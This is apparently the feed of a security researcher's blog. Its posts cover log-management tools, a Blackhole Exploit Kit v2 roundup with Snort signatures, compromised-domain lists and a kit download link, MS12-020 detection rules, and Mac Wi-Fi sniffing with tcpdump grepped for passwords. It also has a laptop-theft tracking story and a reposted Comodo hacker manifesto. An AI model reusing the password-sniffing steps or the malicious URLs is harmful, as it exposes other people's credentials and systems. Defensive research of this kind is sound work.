tag:blogger.com,1999:blog-64172750793333634902024-02-19T15:31:55.923-08:00Greg Martin's blog - InfoSecurity 2.0Threat Research, Trending and analysis for normal humansGreg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.comBlogger78125tag:blogger.com,1999:blog-6417275079333363490.post-51780778612445403922013-03-27T17:35:00.002-07:002013-03-27T17:36:42.027-07:00Big Data Security AnalyticsIf your an XYZ SIEM user today and your boss is asking you about big data what is our strategy. You probably have RSA, HP and everyone trying to pitch you their new product which solves all problems.<br />
<br />
Here is what you need to be doing to start migrating from just SIEM correlation to big data security analytics:<br />
<br />
Download and install <a href="http://www.elasticsearch.org/">Elastic Search</a>. Point your XYZ SIEM to forward events to Elastic Search.<br />
<br />
Use <a href="http://kibana.org/">Kibana</a> to search that data.<br />
<br />
Thank me later.<br />
<br />
<br />
<br />
<br />Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com0tag:blogger.com,1999:blog-6417275079333363490.post-59484881030883404082012-10-19T08:27:00.001-07:002012-10-19T08:29:47.858-07:00Black Hole Exploit Kit 2 (BHEK) summary<br />
This post is just to summarize some quick facts about the problematic BHEK v2. Why problematic? Well this version of exploit kit has risen the bar in sophistication and is harder to detect, defend and find. It's currently driving many of us on the threat ops and intel side crazy so the sharing of information is paramount.<br />
<br />
Here is a roundup of data and analysis on BHEKv2:<br />
<br />
<b>Great write-up via spider labs</b><br />
http://blog.spiderlabs.com/2012/09/blackhole-exploit-kit-v2.html<br />
<br />
<b>Malware don't sleep (inside BHEK v2)</b><br />
http://malware.dontneedcoffee.com/2012/09/behind-captcha-or-inside-blackhole.html<br />
<br />
<b>Excellent analysis by Malware Must Die!</b><br />
http://malwaremustdie.blogspot.jp/2012/09/following-lead-of-suspected-blackhole2.html<br />
<br />
<b>Great analysis by Mila</b><br />
http://contagiodump.blogspot.fr/2012/09/cve-2012-4681-samples-original-apt-and.html<br />
<br />
<b>Download BHEK v2 (partial pack)</b><br />
http://contagio.deependresearch.org/files/Blackhole2files.zip<br />
<br />
<b>Snort signatures:</b><br />
<br />
SOURCEFIRE SNORT<br />
alert tcp $EXTERNAL_NET any -> $HOME_NET 25 (msg:"EXPLOIT-KIT Blackhole possible email Landing to 8 chr folder"; flow:to_server,established; content:"href=|22|http|3A 2F 2F|"; content:"/index.html|22|"; within:50; pcre:"/\x2f[a-z0-9]{8}\x2findex\.html\x22/msi"; metadata:policy balanced-ips drop, policy security-ips drop, service smtp; classtype:trojan-activity; sid:24171; rev:1; )<br />
EMERGING THREATS<br />
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET CURRENT_EVENTS Possible Blackhole Landing to 8 chr folder plus index.html"; flow:established,to_server; content:"/index.htm"; fast_pattern:only; http_uri; urilen:20<>21; content:!"search"; nocase; http_uri; pcre:"/^\/[A-Za-z0-9]+[A-Z]+[A-Za-z0-9]*\/index\.html?$/U"; classtype:bad-unknown; sid:2014521; rev:4;)<br />
<br />
<br />
<b>List of BHEKv2 compromised domains (from contagio):</b><br />
arksylhet.com<br />
badshahpromotions.co.uk<br />
centroedusantaterezinha.org<br />
chambe-aix.com<br />
colombianfashion.com<br />
curatatorie-sibiu.ro<br />
davidicke.pl<br />
domaister.com<br />
dpwparking.com<br />
ecoaction21.fr<br />
estetiqueroman.ro<br />
fengshuitonight.com<br />
ferretsac.com<br />
firetowerguard.com<br />
groupe-cmb.com<br />
hmlanding.com<br />
innovahogar.es<br />
jusprev.org.br<br />
justwebdesign.co.za<br />
karpar.gr<br />
lehoapaper.com<br />
muzee.org<br />
nailtaxi.com<br />
onewaytransportproducts.com<br />
sloanegroup.com<br />
sv.thanmadailuc.com<br />
trends-und-freizeit.de<br />
ukhs.dk<br />
wnyportal.com<br />
www.golfer360.de<br />
<br />
<b>Target Email URLS (from contagio):</b><br />
http://arksylhet. com/A67iD4eo/index. html<br />
http://arksylhet. com/QSpUShbL/index. html<br />
http://badshahpromotions. co. uk/zpVjiR/index. html<br />
http://centroedusantaterezinha. org/foRHmF8/index. html<br />
http:///Wjn56cM6/index. html<br />
http://chambe-aix. com/yCkWRN/index. html<br />
http://chambe-aix. com/yYiD9SAs/index. html<br />
http://colombianfashion. com/Mt1T26/index. html<br />
http://curatatorie-sibiu. ro/fbwoGoYB/index. html<br />
http://curatatorie-sibiu. ro/QeHis8s/index. html<br />
http://davidicke. pl/0qaSfRv/index. html<br />
http://davidicke. pl/mZbkMz/index. html<br />
http://davidicke. pl/x1s0xB8z/index. html<br />
http://domaister. com/LD2nAc/index. html<br />
http://dpwparking. com/PYG35et/index. html<br />
http://ecoaction21. fr/QBA8Re4S/index. html<br />
http://estetiqueroman. ro/KD31RjXc/index. html<br />
http://fengshuitonight. com/JTARZz/index. html<br />
http://fengshuitonight. com/vRNXQq/index. html<br />
http://ferretsac. com/wBbsvpF/index. html<br />
http://ferretsac. com/wc4hACm/index. html<br />
http://ferretsac. com/z7ShYa3/index. html<br />
http://firetowerguard. com/AEuifWY/index. html<br />
http://groupe-cmb. com/JWBpK7qd/index. html<br />
http://groupe-cmb. com/ukKmLYf0/index. html<br />
http://groupe-cmb. com/zc0XNMxZ/index. html<br />
http://hmlanding. com/60QuVZQ/index. html<br />
http://innovahogar. es/4oRnMr/index. html<br />
http://innovahogar. es/V2dSnzdv/index. html<br />
http://innovahogar. es/ZUCufHc/index. html<br />
http://jusprev. org. br/aZhDGJ1e/index. html<br />
http://justwebdesign. co. za/X1dWrR/index. html<br />
http://karpar. gr/mMDBNKhE/index. html<br />
http://karpar. gr/yoTkZUm0/index. html<br />
http://karpar. gr/yUyj1crG/index. html<br />
http://lehoapaper. com/hUvbnijs/index. html<br />
http://muzee. org/AA9njNS/index. html<br />
http://nailtaxi. com/yjgSuE/index. html<br />
http://onewaytransportproducts. com/auVejpR/index. html<br />
http://sloanegroup. com/1n70Gvt/index. html<br />
http://sv. thanmadailuc. com/9vy1FW/index. html<br />
http://sv. thanmadailuc. com/UotPEhM/index. html<br />
http://sv. thanmadailuc. com/x4MSyKCz/index. html<br />
http://trends-und-freizeit. de/4UDFo4/index. html<br />
http://ukhs. dk/ZjUP5CCZ/index. html<br />
http://wnyportal. com/cKodnh/index. html<br />
http://justwebdesign. co. za/X1dWrR/index. html<br />
<br />
<br />Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com1tag:blogger.com,1999:blog-6417275079333363490.post-17473140840990075752012-08-19T11:55:00.001-07:002012-08-19T13:01:26.823-07:00Open-Source Centralized Log ManagementWith the rise of SIEM and IT operation data mining use-cases many organizations are investing or deciding on how to invest in centralized log management. I'm sure people wonder is there interesting open source alternatives or shall I even bother?
<br><br>
Well it depends, I think there are some great new options to test or keep an eye on, some fantastic mature commercial options and something in-between (Splunk).
<br><br>
So here are the latest a greatest open source options to commercial products such as:<br>
Splunk, Qradar Log Manager , ArcSight Logger, Logrythem, etc.
<br><br>
<b>enterprise-log-search-archive (ELSA)</b>
<br><br>
Perl, MySQL and SOLR based solution which is said to be faster than Splunk at large data sets and seems to have a large following. There is currently no commercial backing or support and it looks that the web interface is highly usable but not rich with visualization options (a trait you will find common in the open source offerings).
<br><br>
<a href="http://code.google.com/p/enterprise-log-search-and-archive/">http://code.google.com/p/enterprise-log-search-and-archive/</a> <br>
<a href="http://vimeo.com/39722091">http://vimeo.com/39722091</a>
<br><br>
<b>Sentry</b>
<br><br>
Python and Django based solution by the guys from DISQUS. Seems to be an interesting HTTP based approach and looks high performance. Lots of documentation available, great option for the Python hackers (like me).
<br><br>
<a href="http://sentry.readthedocs.org/en/latest/">http://sentry.readthedocs.org/en/latest/</a><br>
<a href="https://www.wunki.org/posts/2012-01-19-centralized-logging-with-sentry.html">https://www.wunki.org/posts/2012-01-19-centralized-logging-with-sentry.html</a>
<br><br>
<b>Graylog2</b>
<br><br>
Looks to have the best interface of the group, this is a ROR and ruby based project by the smart folks at XING. Looks to be well maintained and feature rich. Would love to know how it scales.
<br><br>
<a href="http://graylog2.org/">http://graylog2.org/</a>
<br><br>
<b>LogStash</b>
<br><br>
Java + ROR based streaming log aggregation. Looks very cool, it was created by an ex-google engineer now working at Loggly. Very actively maintained project with lots of documentation and some cool features. This one is definitely worth checking out.
<br><br>
<a href="http://logstash.net/">http://logstash.net/</a><br>
<a href="http://www.oscon.com/oscon2012/public/schedule/detail/26347">http://www.oscon.com/oscon2012/public/schedule/detail/26347</a>
<br><br>
<b>Logsandra</b>
<br><br>
Another Python based project using Cassandra (NOSQL) backend database. Cool looking project but early stage and does not seem to have a mature UI.
<br><br>
<a href="https://github.com/thobbs/logsandra">https://github.com/thobbs/logsandra</a><br>
<a href="http://my.safaribooksonline.com/book/databases/9781849515122/libraries-and-applications/ch10lvl1sec12">http://my.safaribooksonline.com/book/databases/9781849515122/libraries-and-applications/ch10lvl1sec12</a>
<br><br>
<b>Scribe</b>
<br><br>
Python based log aggregation tool used by Facebook. Does not seem to be actively maintained or updated in several years :(
<br><br>
<a href="https://github.com/facebook/scribe">https://github.com/facebook/scribe</a>
<br><br><br>
Unfortunately I cannot speak to the performance, feature or overall quality these solutions. Perhaps when I have more time I can try them out and create some reviews. Enjoy!Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com0tag:blogger.com,1999:blog-6417275079333363490.post-87618171209570819312012-07-30T19:28:00.000-07:002012-07-30T19:29:04.738-07:00ArcOSI is now Bad Harvest<img src="http://threatstream.com/static/img/harvest.jpg"> <br>
ArcOSI has been officially re-named to Bad Harvest and has great new threat intelligence sources in the latest version available now... <a href="http://www.threatstream.com">Get it!</a>Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com0tag:blogger.com,1999:blog-6417275079333363490.post-75672966494903064242012-07-30T19:22:00.001-07:002012-07-30T19:24:25.041-07:00PPTP VPN is Critically Vulnerable.Moxie Marlinspike does it again. The eclectic hacker who previously brought you SSLStrip now has released (@ Defcon 20) a utility and advisory on cracking MSCHAPv2 which powers most PPTP VPN.
Get the code here: <a href="https://github.com/moxie0/chapcrack">https://github.com/moxie0/chapcrack</a>
Suggestion is to migrate to OpenVPN for a more secure VPN setup.
Also if your bored read some of his <a href="http://www.thoughtcrime.org/stories.html">excellent stories</a>Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com0tag:blogger.com,1999:blog-6417275079333363490.post-62825376904109642252012-06-12T12:54:00.001-07:002012-06-12T12:54:33.489-07:00What is a hacker?<div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/hoDOrKZK3Kg?feature=player_embedded' frameborder='0'></iframe></div>Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com1tag:blogger.com,1999:blog-6417275079333363490.post-41778643344916871112012-04-13T09:50:00.005-07:002012-04-13T09:57:21.395-07:00Looking for a localhost cacheing nameserver?Back in the day I would use dnscache and sometimes even bind for local network or localhost cacheing recursive DNS. I was hoping there was a newer, better, faster and easier to setup / maintain solution in 2012....<br /><br />I found unbound. <a href="http://unbound.net/">http://unbound.net/</a><br /><br />If you have a server that does tons of DNS lookups (think SIEM), then this is a must.<br /><br />Debian/Ubuntu:<br />apt-get install unbound<br /><br />Redhat/Centos:<br />yum install unbound<br /><br />It's secure and listens only on 127.0.0.1 by default. How cool is that?<br /><br />Lastly don't forget to update resolv.conf... <br /> <br />echo "nameserver 127.0.0.1" > /etc/resolv.confGreg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com0tag:blogger.com,1999:blog-6417275079333363490.post-55361392292714359172012-04-12T09:13:00.002-07:002012-04-12T09:13:57.274-07:00thisimageilove<a href="http://imgs.xkcd.com/comics/password_strength.png"><img style="cursor:pointer; cursor:hand;width: 740px; height: 601px;" src="http://imgs.xkcd.com/comics/password_strength.png" border="0" alt="" /></a>Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com0tag:blogger.com,1999:blog-6417275079333363490.post-49591362116263861892012-04-03T02:54:00.002-07:002012-04-03T02:56:55.443-07:00ArcOSI 30 releasedAdded new sources, some parsing fixes and the feature to specify a custom port via command line. Currently only the python code is release but will compile the windows binary later today.<br /><br />Download @ <a href="http://code.google.com/p/arcosi">code.google.com/p/arcosi</a><br /><br />-GregGreg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com0tag:blogger.com,1999:blog-6417275079333363490.post-56566426442059886292012-03-28T02:33:00.002-07:002012-03-28T02:43:16.356-07:00A little about MS12-020Great history on the vulnerability by the original Italian researcher: http://aluigi.org/adv/ms12-020_leak.txt<br />He sold the bug to ZDI with a DoS POC, they reported to MS and the bug is suspected to have leaked through a MAPP partner to Chinese entity and surfaced as the rdpclient.exe<br /><br />Small companies: Firewall off all remote access to 3389<br />Enterprise: Scan and test, deploy signatures, alert SOC and start monitoring campaign during lockdown efforts<br /><br />Snort signatures (untested):<br /><br />alert tcp any any -> $HOME_NET 3389 (msg:”Potential MS12-020 RDP DoS attempt – MaximumParatmers”; flow:to_server,established; content:”|03 00|”; depth:2; content:”|7f 65 82 01 94|”; distance:24; within:5; content:”|30 19|”; distance:9; within:2; content:”|30 19|”; distance:25; within:2;content:”|30 1c|”; distance:25; within:2; byte_test:1,=,255,2,relative; reference:cve,2012-0002; classtype:attempted-dos; sid:1000031; rev:1;)<br /><br />alert tcp any any -> $HOME_NET 3389 (msg:”Potential MS12-020 RDP DoS attempt – MaximumParatmers”; flow:to_server,established; content:”|03 00|”; offset:0; depth:2;content:”|7f 65 82 01 94|”;distance:24;within:5;byte_jump:1,10,relative;byte_jump:1,1,relative;byte_test:1,=,255,4,relative; reference:cve,2012-0002; classtype:attempted-dos; sid:1000026;rev:1;priority:1;)Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com0tag:blogger.com,1999:blog-6417275079333363490.post-17810912632625140312011-08-30T21:35:00.000-07:002011-08-30T21:51:39.552-07:00Wireless fun with your MacbookSince OSX Snow Leopard there is an Airport wireless API that allows some fun tricks but it takes some minor setup to use it properly...
<br />
<br />First make sure you can easily run the new Airport API utility:
<br />
<br /><i>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport</i>
<br />
<br />Now you have easy ability to scan and sniff packets:
<br />
<br /><i>airport scan</i>
<br />
<br /><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXMmP-3Y4aS-Ip394OpEuT4kMkVSFBBzzgp5koCGfl7iTzXS5EUECQanEL-jV_-ZMItDVB0TREv6qRBqDAxrfBRr-dAMb8ne5Q5TXiidH_5OSmnSKiNF6OvjA1MsuhTyEFyQQEc8X-9SQ/s1600/Screen+Shot+2011-08-31+at+5.12.32+AM.png" width="695" height="350">
<br />
<br />And the sexiest feature is to dump packets in monitor mode:
<br /><i>sudo -s airport sniff 11</i>
<br />
<br />Note that you still cannot actively inject and sniff without using a realtek USB wifi card.
<br />
<br />To stop the airport utility from sniffing drop it into the background and kill the process ID:
<br />
<br /><i>ctrl+z</i>
<br />then
<br /><i>sudo -s killall airport</i>
<br />
<br />So what kind of attacks are possible without injection? Well any wireless traffic (non encrypted via WEP/WPA/HTTPS) on the channel your sniffing you can then read with a packet inspection tool like tcpdump which comes by default on your Mac. A pcap will be saved in the /tmp directory, simply read it in with tcpdump to see what fun you captured!
<br />
<br /><i>Gregs-MacBook-Air:tmp gregmartin$ ls /tmp |grep air
<br />airportSniffmcg8L2.cap</i>
<br />
<br />To print the ASCII content of all HTTP traffic:
<br /><i>tcpdump -s0 -Anr /tmp/airportSniffmcg8L2.cap port 80</i>
<br />
<br />or
<br />
<br /><i>tcpdump -s0 -Anr /tmp/airportSniffmcg8L2.cap port 80 |grep -i pass</i>
<br />
<br /><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirli0UVZdpS0XajY714dB7aZ-4usZFDzjdqmIuivCLgIq2lyCA1_DGMo6tMOyI7DUVTQ3RmWhX26lhiOOPr_wCFKSMzll_LV-uQtwHDrpkV1hv_sG34IPT5v70LLNdauwIYve552u4Fgk/s1600/Screen+Shot+2011-08-31+at+5.30.16+AM.png" width="695" height="350">
<br />
<br />Here we see an Android phone at the Boingo wireless captive portal ready to log in!
<br />
<br />Of course you can use any libpcap tool such as Wireshark to analyze the resulting file.Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com0tag:blogger.com,1999:blog-6417275079333363490.post-35530438211617157472011-08-12T07:36:00.000-07:002011-08-16T13:24:28.816-07:00Why you don't steal from a hacker<table><tr><td><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZnpZkW3tvZwjQFW_QsoxvdXx15wlf0TQHveJLAhZ04FMgjueASVcCVITctouAJq4eeuYJSF-egHJIUx_mh4exnpfGakH1mzbN-wPKkwZ5tzfAwdHmBUDa66vcfBmJLNbz4N3zJHh6ox0/s320/Screen+Shot+2011-08-12+at+4.32.17+PM.png" border="0"></td>
<br /><td><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin2ny4KeVICDiPr-gRW9bcBQ_HxBhg7USwYWZ29GAsneW_jwznCCr_oRlFlXLk-74sXL96nCOz9b3SLgPqPQdTuLK5gy3IU1ogPriEhLFCaOdY-F8Dl7zr3BUdSsiI9H6Hf5YwXYU6cXU/s320/Screen+Shot+2011-08-12+at+4.32.04+PM.png" border="0"></td>
<br /></tr></table>
<br />
<br />So during the London riots I return home the next morning to find my flat ransacked and my Macbook Pro laptop stolen! <br>Police showed up, took a report and dusted for prints, performed typical forensics... One thing they did not expect was that I had installed the amazing open source tracking software from <a href=http://preyproject.com>http://preyproject.com</a>
<br />
<br />Once I flagged my laptop as missing within Prey, I waited eagerly for the first report to come in. I was concerned he wouldn't be able to get past the login password but he was clever enough to add a new account: <a href="http://www.hackmac.org/hacks/how-to-create-a-new-administrator-account/">Here is how to create a new admin account on a Mac</a>
<br />
<br />Almost two weary days had gone by and I'm at dinner on a business trip in Luxembourg and I received an email which nearly knocked me out of my chair with excitement.
<br />
<br /><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6rmiO_wVHis30echT_plaM8mQUilhAMUyCT5hAyYkLPca2tXm0cpRgKDns4o3vApiRNz6Ibw77pGrraKvVR93BZ8-7rruOfv2FiPrlDeYXVf3tHWQD33-uobZeLhnhykMF7hEJqXepXU/s1600/+pic2.png">
<br />
<br /><br>
<br />Next thing I did was buy a pack of smokes and run back to my hotel room so the games could begin... I cranked up the frequency of reports to one in every five minutes to try to get a screen capture of him using gmail or facebook so I could snag a name or login credentials.
<br />
<br />After two hours hours of watching him surf religious revelation videos, shopping for Mercedes A class on autotrader he finally popped onto facebook! This was the treasure trove of information, at this point I had the following:
<br />
<br />His Name: Sxxxxx Kxxxx
<br />His School: xxxx School Class of 2009
<br />His address: xxx N End Rd London W14
<br />His IP Address: 90.201.72.xx
<br />His ISP: BSKYB
<br />His wireless AP: SKY378xx
<br />His Facebook Page: https://www.facebook.com/profile.php?id=101952xxx
<br />
<br />Of course I had pictures of him from the webcam on my Macbook as well as his Facebook page, now I just had to pass the info on to London Metro police and get to bed at a decent hour as I had to run an all-day meeting the following morning!
<br />
<br /><br><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitHFynlqCmNvWBCXrhyRBf0LejmbR0Sb_MHPSA7SVdmxMbm4eQCEzEX6YypSLUoz9BPkaY9Owd25GHU7t1qEyp96eBO6Ut-oirQsQDhXPbN5GJ6MSMQrYGW6COYgcYcjPw0zXTPwKWtno/s1600/thief3.jpg">
<br /><br><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzm9ACst3XMjeJhVp1rQYcWCXAz0eovIzTIA37uVyoZ2Y0Wm0qQqrGqaAERvLHlLGFSM_wJBPdP1Rr1G_GActuAN2xs-w9HMrLQR_ETcqO1gDAgKNaLkgrIeo74GVJ2oh9BhnPN0wbjl4/s1600/fullreport.png"><br>
<br />
<br />The tip of the iceberg, now that all the details were collected, London Metro police could make their move!
<br />
<br /><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDa-uDu1wDueOlbK0hqLAQix_O9eEeEnUsGA9D6lLjHP69OdJxnK3FPjRYTn-FU2pnW0rtPTqIBEgpaaA-xxIHZC6UIRSd4_VIFbPgtOQanHD2mSLAw03gBpgkhI0JqnYbXIwPMv7rCH4/s1600/hisfb.png">
<br />
<br />And the icing on the cake... justice served. Add me on twitter @gregcmartin lets laugh together!
<br />
<br /><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWU7m68UD3EtJSHihcTzuRSgYQkI2D1wbwOZgEpy9ykYN2mBVxOrsP_hp0jDWcMNsnHmhHCoDhtMZUzqLWiu52AvNIhzk1K7SYvJ4-w-_JDhDI7VKqjJ71g5c1U2jchyphenhyphenLQ72_7CWBCH9k/s1600/mylaptop.png">
<br />Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com8tag:blogger.com,1999:blog-6417275079333363490.post-52230393887243897332011-04-11T23:12:00.000-07:002011-04-11T23:15:29.400-07:00ArcOSI 2.8 releasedReleasing a new and greatly enhanced version of ArcOSI tonight with the following new features:<br /><br />Config file support<br />White listing<br />http and https proxy support<br />New feeds<br /><br /><br />Fixed numerous bugs and finally updated the Windows EXE version!<br /><br />Snag a copy @ <a href="http://code.google.com/p/arcosi">http://code.google.com/p/arcosi</a>Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com5tag:blogger.com,1999:blog-6417275079333363490.post-33198341373771569872011-03-31T07:48:00.000-07:002011-03-31T08:02:36.818-07:00Samsung Key Logger Mess<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimsQA_I0-00VXnFFDd1EzgAKTulSEtg53rie4FqV_p88Id3bZUzToOUP2ObfT8ohitBz5MeBU4euo_qzX8IzqbKMJIUnnlrRqDXIgs4GYL7zc3UvPiS-hDPQXLajzkgqvnGjQDhcbwnQY/s1600/Screen+shot+2011-03-31+at+11.01.37+AM.png"><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 400px; height: 264px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimsQA_I0-00VXnFFDd1EzgAKTulSEtg53rie4FqV_p88Id3bZUzToOUP2ObfT8ohitBz5MeBU4euo_qzX8IzqbKMJIUnnlrRqDXIgs4GYL7zc3UvPiS-hDPQXLajzkgqvnGjQDhcbwnQY/s400/Screen+shot+2011-03-31+at+11.01.37+AM.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5590259580025157490" /></a><br />So some brilliant writer for network world "Mohamed Hassan (CISSP)", reported based on his anti-virus tool having a false positive finding "Star Logger" key logger installed on his new Samsung Laptop. So the story quickly spread across the blogosphere including engadget and other high profile blogs then was amplified by twitter.<br /><br />Apparently the AV he ran only looks for "c:\windows\SL" directory. What! This shows the terrible state of A/V software and how poor the detection signature actually can be. Seriously looking for the presence of a directory is extremely poor...<br /><br />Will be interesting if Samsung sues anyone in this matter as this has not been positive PR for them. And all you blog slinging CISSP's need to slow your roll and stick to blogging about professional's research and not what your laptop's A/V client back.<br /><br /><br /><br />Other fun A/V fail stories: <br /><a href="http://bit.ly/d9ljTv">McAfee Kills Windows PC's by the thousands</a><br /><a href="http://bit.ly/eP7Qpi">Symantec Nukes Thousands of Chinese PC's</a><br /><br /><br />Sources:<br />http://www.f-secure.com/weblog/archives/00002133.htmlGreg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com0tag:blogger.com,1999:blog-6417275079333363490.post-26220525070097056822011-03-27T17:58:00.000-07:002011-03-27T17:59:54.406-07:00Message from Comodo hackerThis was copied from: http://pastebin.com/74KXCaEZ<br /><br />Hello<br /><br />I'm writing this to the world, so you'll know more about me..<br /><br />At first I want to give some points, so you'll be sure I'm the hacker:<br /><br />I hacked Comodo from InstantSSL.it, their CEO's e-mail address mfpenco@mfpenco.com<br />Their Comodo username/password was: user: gtadmin password: [trimmed]<br />Their DB name was: globaltrust and instantsslcms<br /><br />GlobalTrust.it had a dll called TrustDLL.dll for handling Comodo requests, they had resellers and their url was:<br />http://www.globaltrust.it/reseller_admin/<br /><br />Enough said, huh? Yes, enough said, someone who should know already knows...Am I right Mr. Abdulhayoglu?<br /><br />Anyway, at first I should mention we have no relation to Iranian Cyber Army, we don't change DNSes, we <br /><br />just hack and own.<br /><br />I see Comodo CEO and others wrote that it was a managed attack, it was a planned attack, a group of <br /><br />cyber criminals did it, etc. etc. etc.<br /><br />Let me explain:<br /><br />a) I'm not a group of hacker, I'm single hacker with experience of 1000 hackers, I'm single programmer with <br /><br />experience of 1000 programmers, I'm single planner/project manager with experience of 1000 project <br /><br />managers, so you are right, it's managed by a group of hackers, but it was only I with experience of 1000 <br /><br />hackers.<br /><br />b) It was not really a managed hack. At first I decided to hack RSA algorithm, I did too much <br /><br />investigation on SSL protocol, tried to find an algorithm for factoring integer, analyzed existing algorithms, for now I was not <br /><br />able to do so, at least not yet, but I know it's not impossible and I'll prove it, anyway... I saw <br /><br />that there is easier ways of doing it, like hacking a CA. I was looking to hack some CAs like Thawthe, <br /><br />Verisign, Comodo, etc. I found some small vulnerabilities in their servers, but it wasn't enough to <br /><br />gain access to server and sign my CSRs. During my search about InstantSSL of Comodo which signs CSRs immediately I found <br /><br />InstantSSL.it which was doing it's job under control of Comodo.<br /><br />After a little try, I analyzed their web server and easily (easy for me, so hard for others) I got FULL access on the server, after a little investigation on their <br /><br />server, I found out that TrustDll.dll takes care of signing. It was coded in C# (ASP.NET).<br /><br />I decompiled the DLL and I found username/password of their GeoTrust and Comodo reseller account. <br /><br />GeoTrust reseller URL was not working, it was in ADTP.cs. Then I found out their Comodo account works <br /><br />and Comodo URL is active. I logged into Comodo account and I saw I have right of signing using APIs. I <br /><br />had no idea of APIs and how it works. I wrote a code for signing my CSRs using POST request to those<br /><br />APIs, I learned their APIs so FAST and their TrustDLL.DLL was too old and was not working properly, it doesn't send all needed parameters,<br /><br />it wasn't enough for signing a CSR. As I said, I rewrote the code for !AutoApplySSL and !PickUpSSL<br />APIs, first API returns OrderID of placed Order and second API returns entire signed <br /><br />certificate if you pass OrderID from previous call. I learned all these stuff, re-wrote the code and <br /><br />generated CSR for those sites all in about 10-15 minutes. I wasn't ready for these type of APIs, these <br /><br />type of CSR generation, API calling, etc. But I did it very very fast.<br /><br />Anyway, I know you are really shocked about my knowledge, my skill, my speed, my expertise and entire attack.<br /><br />That's OK, all of it was so easy for me, I did more important things I can't talk about, so if you have to <br /><br />worry, you can worry... I should mention my age is 21<br /><br />Let's back to reason of posting this message.<br /><br />I'm talking to the world, so listen carefully:<br /><br />When USA and Israel creates Stuxnet, nobody talks about it, nobody blamed, nothing happened at all, <br /><br />so when I sign certificates nothing should happen, I say that, when I sign certificates nothing should <br /><br />happen. It's a simple deal.<br /><br />I heard that some stupids tried to ask about it from Iran's ambassador in UN, really? How smartass you are?<br />Where were you when Stuxnet created by Israel and USA with millions of dollar budget, with access to SCADA systems and Nuclear softwares? Why no one asked a question from Israel and USA ambassador to UN?<br />So you can't ask about SSL situtation from my ambassador, I answer your question about situtation: "Ask about Stuxnet from USA and Israel", this is your answer, so don't waste my Iran's ambassador's worthy time.<br /><br />When USA and Isrel can read my emails in Yahoo, Hotmail, Skype, Gmail, etc. without any simple <br /><br />little problem, when they can spy using Echelon, I can do anything I can. It's a simple rule. You do, <br /><br />I do, that's all. You stop, I don't stop. It's a rule, rule #1 (My Rules as I rule to internet, you should know it <br /><br />already...)<br /><br />Rule#2: So why all the world worried, internet shocked and all writers write about it, but nobody <br /><br />writes about Stuxnet anymore? Nobody writes about HAARP, nobody writes about Echelon... So nobody <br /><br />should write about SSL certificates.<br /><br />Rule#3: Anyone inside Iran with problems, from fake green movement to all MKO members and two faced <br /><br />terrorists, should afraid of me personally. I won't let anyone inside Iran, harm people of Iran, harm <br /><br />my country's Nuclear Scientists, harm my Leader (which nobody can), harm my President, as I live, you <br /><br />won't be able to do so. as I live, you don't have privacy in internet, you don't have security in <br /><br />digital world, just wait and see...By the way, you already have seen it or you are blind, is there any larger target than a CA in internet?<br /><br />Rule#4: Comodo and other CAs in the world: Never think you are safe, never think you can rule the <br /><br />internet, ruling the world with a 256 digit number which nobody can find it's 2 prime factors (you think so), I'll show <br /><br />you how someone in my age can rule the digital world, how your assumptions are wrong, you already understood it, huh?<br /><br />Rule#5: To microsoft, mozilla and chrome who updated their softwares as soon as instructions came from <br /><br />CIA. You are my targets too. Why Stuxnet's Printer vulnerability patched after 2 years? Because it was <br /><br />needed in Stuxnet? So you'll learn sometimes you have to close your eyes on some stuff in internet, <br /><br />you'll learn... You'll understand... I'll bring equality in internet. My orders will equal to CIA orders, <br /><br />lol ;)<br /><br />Rule#6: I'm a GHOST<br /><br />Rule#7: I'm unstoppable, so afraid if you should afraid, worry if you should worry.<br /><br />My message to people who have problem with Islamic Republic of Iran, SSL and RSA certificates are broken, I did it one time, make sure I'll do it again, but this time nobody will notice it.<br />I see some people suggests using VPNs, some people suggests TOR, some other suggests UltraSurf, etc. Are you sure you are safe using those? RSA 2048 was not able to resist in front of me, do you think UltraSurf can?<br /><br />If you was doing a dirty business in internet inside Iran, I suggest you to quit your job, listen to sound of most of people of Iran, otherwise you'll be in a big trouble, also you can leave digital world<br />and return to using abacus.<br /><br />A message in Persian: Janam Fadaye Rahbar<br /><br /><br />[UPDATE 1]: Also check this: http://pastebin.com/DBDqm6KmGreg 